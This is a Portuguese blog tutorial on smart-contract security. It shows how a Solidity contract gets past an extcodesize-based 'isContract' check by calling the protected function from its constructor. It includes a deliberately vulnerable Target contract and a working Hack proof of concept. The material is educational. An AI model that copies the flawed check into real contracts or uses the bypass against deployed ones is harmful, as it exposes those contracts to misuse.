Como ignorar a verificação do tamanho do contrato

porMatheusem01/07/2022

Nesse artigo iremos aprender a como um contrato malicioso consegue ignorar a verificação do tamanho de um contrato inteligente.

Vulnerabilidade

Se um endereço for um contrato, o tamanho do código armazenado no endereço será maior que 0, certo?
Vamos ver como podemos criar um contrato com tamanho de código igual a 0 através da função extcodesize.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Target {
function isContract(address account) public view returns (bool) {
// Este método depende de extcodesize, que retorna 0 para contratos em
// construção, pois o código só é armazenado no final da
// execução do construtor.
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "nenhum contrato permitido");
pwned = true;
}
}
contract FailedAttack {
// A tentativa de chamar Target.protected falhará,
// Chamadas de bloco de destino do contrato
function pwn(address _target) external {
// Isso vai falhar
Target(_target).protected();
}
}
contract Hack {
bool public isContract;
address public addr;
// Quando o contrato está sendo criado, o tamanho do código (extcodesize) é 0.
// Isso irá ignorar a verificação isContract()
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
// Isso vai funcionar
Target(_target).protected();
}
}

Testar no Remix